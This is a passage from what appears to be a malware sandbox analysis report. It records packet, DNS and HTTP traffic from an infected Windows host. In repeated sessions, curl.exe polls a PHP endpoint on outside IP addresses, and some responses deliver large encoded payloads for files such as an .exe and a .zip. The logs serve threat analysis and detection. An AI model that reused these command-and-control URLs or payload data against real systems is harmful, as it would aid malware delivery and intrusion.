Nov 21, 2024 20:02:40.048504114 CET	50093	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:40.103425980 CET	80	50092	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:40.169523954 CET	80	50093	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:40.169630051 CET	50093	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:40.169918060 CET	50093	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:40.290018082 CET	80	50093	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:41.290039062 CET	80	50092	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:41.290705919 CET	50092	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:41.364527941 CET	50094	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:41.424498081 CET	80	50092	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:41.424612999 CET	50092	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:41.484306097 CET	80	50094	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:41.484441996 CET	50094	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:41.497349024 CET	50094	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:41.536570072 CET	80	50093	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:41.537112951 CET	50093	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:41.616975069 CET	80	50094	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:41.657094955 CET	80	50093	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:41.657181025 CET	50093	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:41.658937931 CET	50095	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:41.778742075 CET	80	50095	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:41.778831959 CET	50095	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:41.781832933 CET	50095	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:41.901778936 CET	80	50095	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:42.797537088 CET	80	50094	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:42.798114061 CET	50094	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:42.918090105 CET	80	50094	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:42.918287039 CET	50094	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:43.138716936 CET	80	50095	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:43.140523911 CET	50095	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:43.260682106 CET	80	50095	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:43.260822058 CET	50095	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:44.151693106 CET	50096	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:44.271459103 CET	80	50096	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:44.271565914 CET	50096	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:44.272073030 CET	50096	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:44.392525911 CET	80	50096	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:44.501920938 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:44.502013922 CET	50082	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:44.540144920 CET	50097	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:44.660048962 CET	80	50097	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:44.660283089 CET	50097	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:44.660490990 CET	50097	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:44.780327082 CET	80	50097	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:45.550164938 CET	80	50096	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:45.553093910 CET	50096	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:45.617414951 CET	50098	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:45.673511028 CET	80	50096	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:45.678256989 CET	50096	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:45.737356901 CET	80	50098	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:45.740675926 CET	50098	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:45.747179031 CET	50098	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:45.867805004 CET	80	50098	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:46.032340050 CET	80	50097	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:46.033662081 CET	50097	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:46.111402035 CET	50099	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:46.154309988 CET	80	50097	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:46.154473066 CET	50097	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:46.231390953 CET	80	50099	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:46.231493950 CET	50099	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:46.233840942 CET	50099	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:46.353579998 CET	80	50099	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:47.543230057 CET	80	50099	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:47.543744087 CET	50099	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:47.666191101 CET	80	50099	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:47.666261911 CET	50099	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:48.183474064 CET	80	50098	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:48.231632948 CET	50098	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:53.187510967 CET	80	50098	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:53.187650919 CET	50098	80	192.168.2.4	178.215.224.74

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2024 19:58:44.892199993 CET	50084	53	192.168.2.4	1.1.1.1
Nov 21, 2024 19:58:45.123275042 CET	53	50084	1.1.1.1	192.168.2.4
Nov 21, 2024 20:01:00.978250980 CET	53	59593	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 21, 2024 19:58:44.892199993 CET	192.168.2.4	1.1.1.1	0xfe95	Standard query (0)	mCpLognXwrhUlFWj.mCpLognXwrhUlFWj	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 21, 2024 19:58:45.123275042 CET	1.1.1.1	192.168.2.4	0xfe95	Name error (3)	mCpLognXwrhUlFWj.mCpLognXwrhUlFWj	none	none	A (IP address)	IN (0x0001)	false
Nov 21, 2024 20:01:00.978250980 CET	1.1.1.1	192.168.2.4	0x4ebb	Name error (3)	GyxNFpxuLvDE.GyxNFpxuLvDE	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

178.215.224.252

178.215.224.74

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49743	178.215.224.252	80	5568	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 19:59:39.210114956 CET	98	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.252 User-Agent: curl/7.83.1 Accept: /

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49804	178.215.224.74	80	6692	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:00:06.814177036 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:00:08.171070099 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:07 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49807	178.215.224.74	80	6024	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:00:08.516844988 CET	97	OUT	GET /v10/ukyh.php?jspo=5 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:00:09.825196981 CET	199	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:09 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49813	178.215.224.74	80	2060	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:00:10.153579950 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:00:11.456861973 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:11 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49819	178.215.224.74	80	3916	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:00:11.828119993 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:00:13.182924032 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:12 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49821	178.215.224.74	80	5932	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:00:13.489723921 CET	118	OUT	GET /v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:00:14.911429882 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:14 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 34 38 65 33 63 0d 0a 56 46 5a 78 55 30 6c 44 54 55 46 4a 51 30 4e 4e 51 55 4e 44 51 79 30 74 4f 6b 46 44 52 47 39 44 51 30 46 44 51 55 46 42 51 55 46 52 51 30 6c 44 51 55 46 42 51 30 4e 42 51 55 4e 42 51 55 46 44 51 55 6c 42 51 30 4e 42 51 55 4e 42 51 30 4e 44 51 55 4e 44 51 30 46 42 51 55 4e 4a 51 30 46 42 53 55 4e 44 53 55 46 44 51 30 4d 32 51 30 4e 42 51 30 6b 38 5a 48 64 6e 4e 6b 46 30 51 57 35 4f 53 57 42 76 51 46 52 4e 4d 47 70 55 52 32 68 79 59 33 6c 43 64 57 4e 6c 4f 57 78 68 62 55 5a 32 53 55 56 4d 61 6d 4a 76 4e 33 52 6b 51 30 4a 72 55 6c 46 43 65 57 78 56 4e 6d 39 68 56 54 5a 6c 55 45 63 37 56 45 74 50 4f 58 52 59 52 31 64 31 52 46 45 77 53 30 70 44 53 55 4e 42 51 55 46 44 51 30 46 45 51 31 56 7a 57 6b 64 6f 54 45 39 74 52 44 52 52 65 48 46 41 5a 30 64 4e 4e 47 56 61 4e 57 6c 35 4e 55 34 32 54 58 70 35 51 47 64 4e 54 54 52 70 57 6a 52 6f 54 57 39 45 4a 7a 42 30 63 6b 4a 6e 56 55 30 32 5a 31 68 7a 61 6c 39 6f 52 6a 52 56 65 48 4e 43 59 30 70 4d 4e 6c 6c 61 61 31 78 50 62 55 51 33 53 56 52 [TRUNCATED] Data Ascii: 48e3cVFZxU0lDTUFJQ0NNQUNDQy0tOkFDRG9DQ0FDQUFBQUFRQ0lDQUFBQ0NBQUNBQUFDQUlBQ0NBQUNBQ0NDQUNDQ0FBQUNJQ0FBSUNDSUFDQ0M2Q0NBQ0k8ZHdnNkF0QW5OSWBvQFRNMGpUR2hyY3lCdWNlOWxhbUZ2SUVMamJvN3RkQ0JrUlFCeWxVNm9hVTZlUEc7VEtPOXRYR1d1RFEwS0pDSUNBQUFDQ0FEQ1VzWkdoTE9tRDRReHFAZ0dNNGVaNWl5NU42TXp5QGdNTTRpWjRoTW9EJzB0ckJnVU02Z1hzal9oRjRVeHNCY0pMNllaa1xPbUQ3SVRvamFVTTRlWlVtbGhpS1F6eUBhSUFDQ0NDQ0NBQ0lJQ0NBQ0FBQUFBQUNJQ0FBQUNDQUJTUlFBQ1RJRUZDRkNRSTJLQ0FDQ0NBQUFDSU1BQUx1R0RBU1tDQ0xDQkNJTGVDUUNBQUFBQWVHb0BBQUFTQ0FBQzRBRUNBSUJDQ0FBU0FDQ0NFQ0NDQkFBQ0lDQUFJQ0NNQUNDQ0NDQ0FDSUxDQ3dDQUVBQUFnS2NGQUFNQ0NBQUNBQkFDQUpBQ0NBQUNFQ0NDRUNDQ0FBQUNJQEFBSUNDSUFDQ0NDQ0NBQ0xJMUNnQFFBQUFBQUNJQ0FBQUNDQUFDQUFBQ0FJQUNDQUFDQUNDQ0FDQ0NBQUFDSUNBQUlDQ0lBQ0NDQ0NDQUNJSUNDQUNBQUFBQUFDSUNBQUFDQ0FBQ0FBQUNBSUFDQ0FBQ0FDQ0NBQ0NDQUFBQ0lDQUFJQ0NJNENHQ3RDR0FDSUlDQ0FDQUFBQUFBQ0lDQUFBQ0NBQUNBQUFDQUlBQ0NDNTJaWmoyQUNDQ3dNTUBJQ0FRSUNDSTBDR0NDQENBQ0lJQ0NBQ0FBQUFBQUNJQ0FDQUNDR0F3Y21SamRPRUNDSUpqQUNDQzRDR0NBSEFDSUNEZ0lTQ0lBQ0NDQ0NDQUNJSUNDQUBBQUFCQUxvWmpkR0VDQ0FDR1
Nov 21, 2024 20:00:14.911456108 CET	1236	IN	Data Raw: 6c 6e 52 55 4e 42 54 6b 46 42 51 30 46 43 51 30 46 44 51 30 4e 56 51 30 74 44 51 55 46 42 51 30 6c 44 51 55 46 4a 51 30 4e 4a 51 55 4e 44 51 31 4e 44 51 30 46 31 53 55 6c 44 51 30 46 44 51 55 46 42 51 55 46 42 51 30 6c 44 51 55 46 42 51 30 4e 42 Data Ascii: lnRUNBTkFBQ0FCQ0FDQ0NVQ0tDQUFBQ0lDQUFJQ0NJQUNDQ1NDQ0F1SUlDQ0FDQUFBQUFBQ0lDQUFBQ0NBQUNBQUFDQUlBQ0NBQUNBQ0NDQUNDQ0FBQUNJQ0FBSUNDSUFDQ0NDQ0NBQ0lJQ0NBQ0FBQUFBQUNJQ0FBQUNDQUFDQUFBQ0FJQUNDQUFDQUNDQ0FDQ0NBQUFDSUNBQUlDQ0lBQ0NDQ0NDQUNJSUNDQUNBQUFBQUFDS
Nov 21, 2024 20:00:14.911467075 CET	448	IN	Data Raw: 6c 42 51 30 4e 44 51 30 4e 44 51 55 4e 4a 53 55 4e 44 51 55 4e 42 51 55 46 42 51 55 46 44 53 55 4e 42 51 55 46 44 51 30 46 42 51 30 46 42 51 55 4e 42 53 55 46 44 51 30 46 42 51 30 46 44 51 30 4e 42 51 30 4e 44 51 55 46 42 51 30 6c 44 51 55 46 4a Data Ascii: lBQ0NDQ0NDQUNJSUNDQUNBQUFBQUFDSUNBQUFDQ0FBQ0FBQUNBSUFDQ0FBQ0FDQ0NBQ0NDQUFBQ0lDQUFJQ0NJQUNDQ0NDQ0FDSUlDQ0FDQUFBQUFBQ0lDQUFBQ0NBQUNBQUFDQUlBQ0NBQUNBQ0NDQUNDQ0FBQUNJQ0FBSUNDSUFDQ0NDQ0NBQ0lJQ0NBQ0FBQUFBQUNJQ0FBQUNDQUFDQUFBQ0FJQUNDQUFDQUNDQ0FDQ0NBQ
Nov 21, 2024 20:00:14.911601067 CET	1236	IN	Data Raw: 46 42 51 55 46 42 51 55 4e 4a 51 30 46 42 51 55 4e 44 51 55 46 44 51 55 46 42 51 30 46 4a 51 55 4e 44 51 55 46 44 51 55 4e 44 51 30 46 44 51 30 4e 42 51 55 46 44 53 55 4e 42 51 55 6c 44 51 30 6c 42 51 30 4e 44 51 30 4e 44 51 55 4e 4a 53 55 4e 44 Data Ascii: FBQUFBQUNJQ0FBQUNDQUFDQUFBQ0FJQUNDQUFDQUNDQ0FDQ0NBQUFDSUNBQUlDQ0lBQ0NDQ0NDQUNJSUNDQUNBQUFBQUFDSUNBQUFDQ0FBQ0FBQUNBSUFDQ0FBQ0FDQ0NBQ0NDQUFBQ0lDQUFJQ0NJQUNDQ0NDQ0FDSUlDQ0FDQUFBQUFBQ0lDQUFBQ0NBQUNBQUFDQUlBQ0NBQUNBQ0NDQUNDQ0FBQUNJQ0FBSUNDSUFDQ0NDQ
Nov 21, 2024 20:00:14.911746025 CET	1236	IN	Data Raw: 4e 44 51 55 4e 44 51 30 46 42 51 55 4e 4a 51 30 46 42 53 55 4e 44 53 55 46 44 51 30 4e 44 51 30 4e 42 51 30 6c 4a 51 30 4e 42 51 30 46 42 51 55 46 42 51 55 4e 4a 51 30 46 42 51 55 4e 44 51 55 46 44 51 55 46 42 51 30 46 4a 51 55 4e 44 51 55 46 44 Data Ascii: NDQUNDQ0FBQUNJQ0FBSUNDSUFDQ0NDQ0NBQ0lJQ0NBQ0FBQUFBQUNJQ0FBQUNDQUFDQUFBQ0FJQUNDQUFDQUNDQ0FDQ0NBQUFDSUNBQUlDQ0lBQ0NDQ0NDQUNJSUNDQUNBQUFBQUFDSUNBQUFDQ0FBQ0FBQUNBSUFDQ0FBQ0FDQ0NBQ0NDQUFBQ0lDQUFJQ0NJQUNDQ0NDQ0FDSUlDQ0FDQUFBQUFBQ0lDQUFBQ0NBQUNBQUFDQ
Nov 21, 2024 20:00:14.911756992 CET	1236	IN	Data Raw: 46 44 51 55 46 42 51 55 46 42 51 30 6c 44 51 55 46 42 51 30 4e 42 51 55 4e 42 51 55 46 44 51 55 6c 42 51 30 4e 42 51 55 4e 42 51 30 4e 44 51 55 4e 44 51 30 46 42 51 55 4e 4a 51 30 46 42 53 55 4e 44 53 55 46 44 51 30 4e 44 51 30 4e 42 51 30 6c 4a Data Ascii: FDQUFBQUFBQ0lDQUFBQ0NBQUNBQUFDQUlBQ0NBQUNBQ0NDQUNDQ0FBQUNJQ0FBSUNDSUFDQ0NDQ0NBQ0lJQ0NBQ0FBQUFBQUNJQ0FBQUNDQUFDQUFBQ0FJQUNDQUFDQUNDQ0FDQ0NBQUFDSUNBQUlDQ0lBQ0NDQ0NDQUNJSUNDQUNBQUFBQUFDSUNBQUFDQ0FBQ0FBQUNBSUFDQ0FBQ0FDQ0NBQ0NDQUFBQ0lDQUFJQ0NJQUNDQ
Nov 21, 2024 20:00:14.911763906 CET	1236	IN	Data Raw: 46 44 51 30 4e 42 51 30 4e 44 51 55 46 42 51 30 6c 44 51 55 46 4a 51 30 4e 4a 51 55 4e 44 51 30 4e 44 51 30 46 44 53 55 6c 44 51 30 46 44 51 55 46 42 51 55 46 42 51 30 6c 44 51 55 46 42 51 30 4e 42 51 55 4e 42 51 55 46 44 51 55 6c 42 51 30 4e 42 Data Ascii: FDQ0NBQ0NDQUFBQ0lDQUFJQ0NJQUNDQ0NDQ0FDSUlDQ0FDQUFBQUFBQ0lDQUFBQ0NBQUNBQUFDQUlBQ0NBQUNBQ0NDQUNDQ0FBQUNJQ0FBSUNDSUFDQ0NDQ0NBQ0lJQ0NBQ0FBQUFBQUNJQ0FBQUNDQUFDQUFBQ0FJQUNDQUFDQUNDQ0FDQ0NBQUFDSUNBQUlDQ0lBQ0NDQ0NDQUNJSUNDQUNBQUFBQUFDSUNBQUFDQ0FBQ0FBQ
Nov 21, 2024 20:00:14.911773920 CET	1236	IN	Data Raw: 4a 67 56 47 35 7a 53 6b 4a 6f 4b 30 63 32 66 46 64 4b 51 6e 68 7a 51 32 31 6e 4e 6c 56 46 53 55 4e 70 4f 45 6c 48 56 30 39 6e 61 45 64 54 52 30 4e 6e 4f 6c 4e 50 61 47 4e 43 4d 6c 78 46 5a 30 45 39 52 30 64 4a 61 6c 64 31 61 55 74 46 61 44 51 32 Data Ascii: JgVG5zSkJoK0c2fFdKQnhzQ21nNlVFSUNpOElHV09naEdTR0NnOlNPaGNCMlxFZ0E9R0dJald1aUtFaDQ2OE1DaFZTa0lGRlN4dV5La2tJQ0NBQUNBT2pIRm9BQ2svQ0Z4QEFEOWxTUmFDRGlZU0RvanplSkFLUkdATXZjaF1ZaUpJM01KQmhRVWdve0F3QUM0MFptRk9SQEFBMVdIQ0JtRE1QQEFLM0dKQ0JRXUtrdFtISEtBT
Nov 21, 2024 20:00:14.911778927 CET	1236	IN	Data Raw: 4a 4f 5a 6b 46 54 59 57 6b 7a 55 32 6c 48 53 58 5a 4f 59 56 41 7a 63 32 4e 70 53 30 6c 4c 4f 69 31 41 4b 56 4e 4c 63 6a 4a 52 59 31 52 31 53 6b 68 44 51 55 39 7a 52 6e 5a 54 54 55 4e 42 51 55 4e 4f 55 47 64 54 52 6e 68 6e 55 30 5a 33 66 31 4e 45 Data Ascii: JOZkFTYWkzU2lHSXZOYVAzc2NpS0lLOi1AKVNLcjJRY1R1SkhDQU9zRnZTTUNBQUNOUGdTRnhnU0Z3f1NEdUErRGV0NS0vKXZhYUFFR0lDQm9sTVBKQUVlR28yS0E0Tn9UQ1FBRHhBaFFhQ1tgUWdCbVNKSkFBUDhUYkIxRkNJUEdFTmVJQUNDQ1gxNWZfM25EcHVaTWtpS0NDU0NBQ0VrRDRKSENBS1JSUWVMSkJieVFTZ0FDQ
Nov 21, 2024 20:00:14.911787033 CET	1236	IN	Data Raw: 64 6b 63 45 4e 33 51 30 46 76 56 32 6c 54 55 57 56 4a 4e 54 67 7a 55 56 68 4a 4f 46 6c 34 4d 47 70 32 52 6b 51 39 4e 30 46 52 61 56 42 54 54 53 31 6a 53 45 5a 56 61 31 46 52 5a 30 52 79 57 31 4e 4e 51 55 6c 48 51 57 4a 68 53 45 68 42 51 30 31 70 Data Ascii: dkcEN3Q0FvV2lTUWVJNTgzUVhJOFl4MGp2RkQ9N0FRaVBTTS1jSEZVa1FRZ0RyW1NNQUlHQWJhSEhBQ01pK0N/SUNNL0wwRFlrZHBIQkFBRFAwNFMwRkFBREpCaVNRU2dBQEFDQ0M2UDZGQUFBNTAxUU5hUDN7a2lLQ08tYHBGWUVDQ01hRmJKSkNBQ01DQUFEci1nSUNBS0Z1a2NJQ00vTjJHUXRFTTtLNXd3K2d/aW9qOEZSO
Nov 21, 2024 20:00:15.034287930 CET	1236	IN	Data Raw: 6b 34 57 58 67 77 61 48 52 47 52 44 63 31 51 56 4e 70 55 46 4e 46 4c 57 46 4b 54 6c 68 37 57 31 46 6c 52 6e 4a 74 51 30 4e 42 51 30 31 4c 61 47 78 4b 53 45 4e 42 54 32 31 57 51 55 4e 4a 51 32 46 42 52 55 64 44 51 55 4a 74 54 55 39 57 51 45 46 50 Data Ascii: k4WXgwaHRGRDc1QVNpUFNFLWFKTlh7W1FlRnJtQ0NBQ01LaGxKSENBT21WQUNJQ2FBRUdDQUJtTU9WQEFPZ0dvMElDNkNHU0FTQUZ4QWhTaUNTYlllQGdRSEhBQ1I6VmBCOUZDSXF0ZEpKQ0FLfE9KQ2lGekJESlJDUVdBWUFDQ090VW9ae1FRZUM1ODNRVUM6WXo4aHRMRDc1QVFrUlFPJ2lIRFh7U1FnRHJOMktoZkpKQUNPc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49831	178.215.224.74	80	5448	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:00:16.492132902 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:00:17.796339035 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:17 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49835	178.215.224.74	80	6012	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:00:18.164597034 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:00:19.486316919 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:19 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49838	178.215.224.74	80	2124	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:00:20.264441967 CET	118	OUT	GET /v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:00:21.784399986 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:21 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 62 61 62 34 38 0d 0a 56 55 56 7a 52 6b 70 41 55 55 46 4a 51 30 4e 42 51 55 42 71 62 6b 70 48 64 30 39 36 4d 56 49 33 59 56 52 48 51 6b 46 42 51 6b 46 42 5a 55 6c 4c 51 55 46 42 51 30 77 7a 63 44 5a 5a 55 7a 56 70 59 6b 39 36 63 53 31 52 4f 54 5a 47 54 46 70 55 51 55 4d 31 55 6c 70 44 5a 6b 68 6a 51 58 70 7a 55 57 70 59 55 55 70 56 63 32 31 7a 4f 6c 74 48 54 47 70 43 55 45 64 36 5a 47 39 43 63 6b 74 69 5a 30 56 79 57 32 74 48 55 55 5a 54 5a 30 70 32 53 6c 6b 77 63 6d 4a 66 62 56 74 42 59 57 64 70 51 6d 68 62 59 45 31 77 61 55 31 5a 62 43 73 79 49 33 5a 61 55 32 35 56 64 6d 6f 79 4f 30 6c 56 64 6e 5a 59 52 31 45 6a 4f 48 63 79 56 33 56 70 51 33 56 47 55 45 5a 62 58 7a 46 53 61 31 64 6d 5a 6c 56 4e 54 47 64 6f 51 58 56 4e 66 44 67 33 4f 79 73 33 62 30 77 37 62 53 30 33 4b 53 30 78 55 47 4d 76 4d 56 68 41 4f 46 41 36 57 47 38 39 4c 79 6b 70 4e 7a 63 33 4e 7a 64 34 65 6d 5a 73 62 48 56 33 4e 57 46 34 64 47 34 30 52 6d 42 4e 5a 30 51 35 5a 6a 63 33 5a 30 31 71 64 6a 46 34 59 33 34 76 4f 6d 77 31 62 6d [TRUNCATED] Data Ascii: 1bab48VUVzRkpAUUFJQ0NBQUBqbkpHd096MVI3YVRHQkFBQkFBZUlLQUFBQ0wzcDZZUzVpYk96cS1ROTZGTFpUQUM1UlpDZkhjQXpzUWpYUUpVc21zOltHTGpCUEd6ZG9CcktiZ0VyW2tHUUZTZ0p2SlkwcmJfbVtBYWdpQmhbYE1waU1ZbCsyI3ZaU25VdmoyO0lVdnZYR1EjOHcyV3VpQ3VGUEZbXzFSa1dmZlVNTGdoQXVNfDg3Oys3b0w7bS03KS0xUGMvMVhAOFA6WG89LykpNzc3Nzd4emZsbHV3NWF4dG40RmBNZ0Q5Zjc3Z01qdjF4Y34vOmw1bmx1QW5admhBRGUzYlFpNU02I0dVfnpRc3R0VWZkenx6NDUzNHovbXZmenRiRTE3N3hsZTlJR1Y5ZG5eRXRkeWZobnc7aUZBNnd5L2owbCk5ZW5hUmN5UW8wVUBuMTExaWZMeGVmVG92Ly9mejo0N1RwNkZtUzl0OXIxMVBsRjlPKVNyKVJwTzBFNTVQQX5wUWJpZnJ8YVZPdXRkQ3FWXyc7NG4pbjFjTHo1bWtmYWJQbTIwVFZSMUopUUZNZG9QMEtmUTQ3NXp3M1dNOFoxYW5yPHBqTmZASDE2NG9mTkF9SjtYRzN6RXFGTU09VDZQQU5OT3lMbCtIZmpCRTpAUVY7VDBAdTVOa1BKeGNhS1d5Z34wYD5mKVZISnFHWkFscjtXRlFoSllIellvSnhBdGM1bFp2Njc4a0d6eHpFLWZ2LW9IMVJmR2wyRGRMc0xQSThYMTJkMWstcXN4QzJWWWpKcG